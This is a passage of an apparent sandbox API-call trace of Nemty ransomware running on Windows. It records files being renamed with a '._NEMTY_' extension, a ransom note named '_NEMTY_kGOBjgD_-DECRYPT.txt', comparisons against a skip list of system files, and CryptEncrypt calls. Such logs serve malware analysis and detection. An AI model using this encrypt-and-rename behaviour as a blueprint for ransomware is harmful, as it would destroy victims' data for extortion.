out: hHeap=0x4f90000) returned 1 [0126.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0126.902] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\service.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\service.js"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\service.js._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\service.js._nemty_kgobjgd_")) returned 0 [0126.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0126.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340418 | out: hHeap=0x4f90000) returned 1 [0126.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0126.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0126.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0126.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0126.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0126.902] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeef2210, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xfeef2210, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfeef2210, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0126.902] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0126.902] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0126.902] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0126.902] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0126.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0126.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0126.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0126.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0126.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0126.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0126.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0126.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0126.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0126.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0126.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0126.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0126.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0126.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0126.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0126.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0126.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0126.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0126.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0126.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0126.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0126.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0126.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0126.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0126.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0126.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0126.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0126.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0126.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0126.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0126.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0126.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0126.904] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0126.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0126.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340200 [0126.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0126.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0126.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.904] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeef2210, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xfeef2210, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfeef2210, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0126.904] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0126.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0126.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0126.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0126.904] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb13e50, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xfeb13e50, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfeb13e50, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0126.904] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0126.904] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0126.904] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0126.904] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0126.904] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0126.904] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0126.904] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0126.904] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0126.904] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0126.904] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0126.904] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0126.904] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0126.904] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0126.904] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0126.904] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0126.904] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0126.904] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0126.904] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0126.905] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0126.905] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0126.905] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0126.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0126.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0126.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0126.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0126.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0126.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0126.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0126.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0126.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0126.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0126.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0126.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0126.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0126.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0126.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0126.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0126.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0126.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340158 [0126.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0126.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0126.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.905] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb13e50, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xfeb13e50, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfeb13e50, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0126.905] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0126.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0126.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0126.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0126.906] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x296c7da5, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x296c7da5, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x296c7da5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae9, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="icon.png", cAlternateFileName="")) returned 1 [0126.906] lstrcmpiW (lpString1="icon.png", lpString2=".") returned 1 [0126.906] lstrcmpiW (lpString1="icon.png", lpString2="..") returned 1 [0126.906] lstrcmpiW (lpString1="icon.png", lpString2="...") returned 1 [0126.906] lstrcmpiW (lpString1="icon.png", lpString2="windows") returned -1 [0126.906] lstrcmpiW (lpString1="icon.png", lpString2="$RECYCLE.BIN") returned 1 [0126.906] lstrcmpiW (lpString1="icon.png", lpString2="rsa") returned -1 [0126.906] lstrcmpiW (lpString1="icon.png", lpString2="NTDETECT.COM") returned -1 [0126.906] lstrcmpiW (lpString1="icon.png", lpString2="ntldr") returned -1 [0126.906] lstrcmpiW (lpString1="icon.png", lpString2="MSDOS.SYS") returned -1 [0126.906] lstrcmpiW (lpString1="icon.png", lpString2="IO.SYS") returned -1 [0126.906] lstrcmpiW (lpString1="icon.png", lpString2="boot.ini") returned 1 [0126.906] lstrcmpiW (lpString1="icon.png", lpString2="boot.ini") returned 1 [0126.906] lstrcmpiW (lpString1="icon.png", lpString2="AUTOEXEC.BAT") returned 1 [0126.906] lstrcmpiW (lpString1="icon.png", lpString2="ntuser.dat") returned -1 [0126.906] lstrcmpiW (lpString1="icon.png", lpString2="desktop.ini") returned 1 [0126.906] lstrcmpiW (lpString1="icon.png", lpString2="CONFIG.SYS") returned 1 [0126.906] lstrcmpiW (lpString1="icon.png", lpString2="RECYCLER") returned -1 [0126.906] lstrcmpiW (lpString1="icon.png", lpString2="BOOTSECT.BAK") returned 1 [0126.906] lstrcmpiW (lpString1="icon.png", lpString2="bootmgr") returned 1 [0126.906] lstrcmpiW (lpString1="icon.png", lpString2="programdata") returned -1 [0126.906] lstrcmpiW (lpString1="icon.png", lpString2="appdata") returned 1 [0126.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.906] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0126.906] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0126.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0126.906] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0126.906] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0126.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0126.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.906] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0126.906] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0126.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.907] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0126.907] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0126.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0126.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0126.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0126.907] Sleep (dwMilliseconds=0x5) [0126.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xff4bf7b0, dwHighDateTime=0x1d561e7)) [0126.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xff4bf7b0, dwHighDateTime=0x1d561e7)) [0126.919] GetLastError () returned 0x12 [0126.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0126.919] GetLastError () returned 0x12 [0126.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0126.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0126.920] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0126.920] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0126.920] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0126.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0126.920] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: 